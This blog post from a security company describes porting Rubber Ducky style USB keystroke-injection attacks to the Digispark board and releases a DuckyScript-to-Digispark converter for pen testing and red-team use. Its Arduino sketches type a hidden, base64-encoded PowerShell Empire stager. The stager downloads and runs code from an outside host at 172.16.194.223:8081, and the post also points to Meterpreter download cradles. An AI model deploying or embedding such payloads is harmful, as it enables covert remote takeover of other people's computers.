HIDden gem: Low-cost Digispark USB now quacks DuckyScript

Mattijs van Ommeren

April 10, 2017 at 02:30

TL;DR: We have added support for the Digispark USB board (aka the “$1 Rubber Ducky”) to the Dckuino.js DuckyScript converter. This allows you to use existing or custom DuckyScript payloads and convert those to Arduino sketches to run on Digispark compatible hardware. Download from GitHub: https://github.com/nixu-corp/Dckuino.js or use the online version: https://nixu-corp.github.io

Digispark USB

USB HID attacks are occasionally used as part of a pen test or Red Team exercise. The de facto ‘Rubber Ducky’ is a favorite weapon of choice due to its features, usability and above all, its innocuously looking thumb drive enclosure. Though reasonably priced (around $45), shipping costs and import tax can quickly add up for us Europeans. Cheaper alternatives (in the $15-$20 price range) exist, such as PJRC’s Teensy, which can count on support from several pen testing tools such as the Social Engineering Toolkit, Nikhil Mittal’s Kautilya and Powershell Empire. Another viable alternative is the Arduino Micro, which just like the Teensy, comes as a circuit board with a female mini-B USB port. Its form factor is not exactly suitable for fitting in a thumb drive enclosure, but hey, who needs one if you can hide your HID inside an ultra-cool USB-gadget of your choice? Another option is to put your 3D-printer at work.

Still too expensive? You can settle for the bare minimum in the form of a Digispark USB board. This device has been dubbed as the ‘$1 Rubber Ducky’ but for that price you will get one of the Chinese knockoffs which are reported to have a failure ratio of 1 in 3. You might as well get the original for Digistump, which is currently priced at $25 for a 5-pack. The Digispark USB development board has sprung from their Kickstarter project and consists of just a ATtiny85 8-bit microcontroller, a voltage regulator and a few LEDs and resistors. The chip does not have USB-controller hardware, but believe it or not, the folks at Digistump managed to put some GPIO wizardry into the firmware and make it utter just enough USB 1.1 so your computer will buy it. You can program the device through the USB port, just like a Teensy. Pretty awesome! This goodness comes at the expense of a 2K bootloader called Micronucleus, which leaves us with approximately 6K left for user programs. That is incredibly small compared to the 256K internal flash of the AT32UC3B1256 chip on which the real Rubber Ducky is based. Not to mention the Ducky’s built-in micro SD reader, which offers limitless possibilities for the spoiled Ducky owner.

map

Back to the Digispark universe… You thought 8K worth of flash size is small? Here comes the kicker: the ATtiny85 only has 512 bytes of SRAM! Every global variable you declare in your Arduino code gets allocated in -you might have guessed it- RAM. Given that every string constant is also implicitly declared as a global variable, that leaves us with not too many options for interesting payloads. The folks at http://0xdeadcode.se/archives/581 do a great job of cramming a PowerShell download cradle for a Meterpreter payload into hand-crafted Arduino code, but this is not exactly what we were bargaining for when considering a Rubber Ducky alternative. Let’s explore and try a Powershell Empire stager code, originally written for a Teensy. The interesting code part is depicted in this snippet:

void empire(void) {

    wait_for_drivers();

    win_minWindows();

    delay(1000);

    win_openCmd();

    delay(1000);

    DigiKeyboard.print("powershell -W Hidden -nop -noni -enc ");

   DigiKeyboard.print("WwBTAFkAcwBUAGUAbQAuAE4ARQB0AC4AUwBFAHIAdg
BJAGMARQBQAE8AaQBuAHQATQBBAE4AQQBHAEUAUgBdADoAOgBFAFgAcA
BFAEMAdAAxADAAMABDAE8AbgBUAEkATgBVAGUAIAA9ACAAMAA7ACQAdwBjA
D0ATgBlAFcALQBPAGIASgBlAEMAdAAgAFMAWQBTAFQARQBNAC4ATgBFAHQ
ALgBXAGUAQgBDAGwASQBFAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGw
AYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAO
wAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByAH
YAOgAxADEALgAwACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAHcAQ
wAuAEgARQBBAGQARQByAFMALgBBAGQARAAoACcAVQBzAGUAcgAtAEEAZw
BlAG4AdAAnACwAJAB1ACkAOwAkAFcAQwAuAFAAUgBvAFgAWQAgAD0AIABbAF
MAWQBTAHQARQBtAC4ATgBlAHQALgBXAEUAQgBSAGUAUQBVAEUAUwBUAF
0AOgA6AEQARQBGAGEAdQBMAFQAVwBlAGIAUAByAE8AWAB5ADsAJABXAGM
ALgBQAHIAbwB4AFkALgBDAFIAZQBkAEUAbgB0AEkAQQBsAFMAIAA9ACAAWw
BTAFkAcwB0AGUAbQAuAE4AZQBUAC4AQwByAGUAZABFAG4AdABpAEEATABD
AGEAYwBoAGUAXQA6ADoARABlAGYAYQB1AGwAVABOAEUAVABXAE8AcgBLAE
MAcgBFAEQARQBOAHQASQBBAGwAUwA7ACQASwA9ACcAMwBkAGMANAA2A
DkANgA1AGUAYQAxAGEAYgA3AGYAZAA5ADAANAAxADQAMwA0AGUAOAA5AGM
AMABhAGQAZgA3ACcAOwAkAEkAPQAwADsAWwBjAEgAYQByAFsAXQBdACQAY
gA9ACgAWwBjAGgAYQBSAFsAXQBdACgAJAB3AEMALgBEAG8AVwBuAGwAbwB
hAGQAUwB0AFIASQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AMQA3ADIALgAxADY
ALgAxADkANAAuADIAMgAzADoAOAAwADgAMQA6ADgAMAA4ADEALwBpAG4AZA
BlAHgALgBhAHMAcAAiACkAKQApAHwAJQB7ACQAXwAtAEIAWABPAHIAJABrAFsA
JABJACsAKwAlACQAawAuAEwARQBOAEcAdABoAF0AfQA7AEkARQBYACAAKAA
kAEIALQBqAG8ASQBuACcAJwApAA==");
 

    DigiKeyboard.sendKeyStroke(KEY_ENTER);

    DigiKeyboard.update();

    win_restoreWindows();

}



The base64 BLOB alone takes 1353 bytes, which is asking for trouble as we will see next. After painstakingly translating all Teensy specific code to the peculiar Digispark keyboard equivalents, we can make the sketch compile correctly:

banner

As predicted, the global variables take up much more space than we can afford, but uploading the code does not show any failure:

banner1

This sounds too good to be true, and surely it is. The sketch just does not work. Period. But there is hope…

Earlier we pointed out that the ATtiny85 has roughly 6K available for user programs. USB keyboard support adds an additional 2.5K to the footprint, which leaves us with roughly 3K for our keyboard typing stuff, which is not much, but theoretically sufficient for our Empire stager and even for a complete Meterpreter payload without a download cradle. That is, if only we could get rid of the dynamic memory allocation for string constants.

Luckily, as pointed out by PeterF on the Digistump Forums, there is a way to harness the flash space for storing strings. The avr/pgmspace.h file defines the necessary PROGMEM helper functions in order to have strings stored in program space (i.e. flash), so these won’t eat up precious dynamic memory. When needing to send keystrokes we copy the strings to a buffer variable that fits in RAM, which we refer to when calling the keyboard routines.

The resulting code looks something like this:

#include <avr/pgmspace.h>
#include "DigiKeyboard.h"

const char line1[] PROGMEM = "cmd";
const char line2[] PROGMEM = "powershell -W Hidden -nop -noni -enc

WwBTAHkAUwBUAEUAbQAuAE4ARQBUAC4AUwBlAHIAVgBpAGMARQBQAG8
ASQBuAHQATQBBAG4AQQBHAGUAUgBdADoAOgBFAFgAcABlAGMAdAAxADA
AMABDAE8ATgB0AEkAbgB1AGUAIAA9ACAAMAA7ACQAdwBDAD0ATgBlAFcAL
QBPAEIAagBFAGMAVAAgAFMAWQBTAHQAZQBNAC4ATgBlAHQALgB";



char buffer[256];

#define GetPsz(x) (strncpy_P(buffer, (char*)x, 255))

void printText(char *txt) {
  DigiKeyboard.print(txt);
  DigiKeyboard.update();
}

  printText(GetPsz(line1));
  printText(GetPsz(line2));



Admittedly, it does not look very pretty, but hey, it does the job!

Since we are limited to a 256-byte keyboard buffer, we need to split large strings into smaller chunks. Doing this by hand is a tedious and error prone process, so we need a more sustainable solution. So, this got me thinking: if Digispark is to contend with the real Rubber Ducky it should be possible to program it with DuckyScript code! While it may be possible to implement a DuckyScript interpreter in the firmware and create a programmer which sticks DuckyScript payloads directly into the device, this does not sound like an attractive option.

Enter Dckuino.js, a simple DuckyScript to Arduino converter, which works reasonably well for (genuine) Arduino devices. With our newly gained knowledge it should be possible to adapt the converter for generating Digispark code. The result is a fork of the Dckuino.js project, which was first modified to easily allow additional board support. Next additional code for supporting the Digispark USB was added, implementing the techniques for using program space for storing strings.

banner2

Usage is simple: paste your DuckyScript code into the left part, select your desired board (Arduino or Digispark) and choose Compile. The board-specific sketch code will appear in the right part, which can be copied directly or downloaded for use in Arduino.

The generated sketch based on our Empire DuckyScript now fits nicely into memory, only using 344 bytes of RAM and occupying 77% of the available flash storage:

banner6


Now you can conveniently convert your DuckyScript payloads to compile to Arduino sketches that work on even the cheapest Rubber Ducky alternative available today!

Download the code from https://github.com/nixu-corp/Dckuino.js or try out the online version here: https://nixu-corp.github.io

We have initiated a pull request and we hope that our contribution will be incorporated into the upstream project.

Related blogs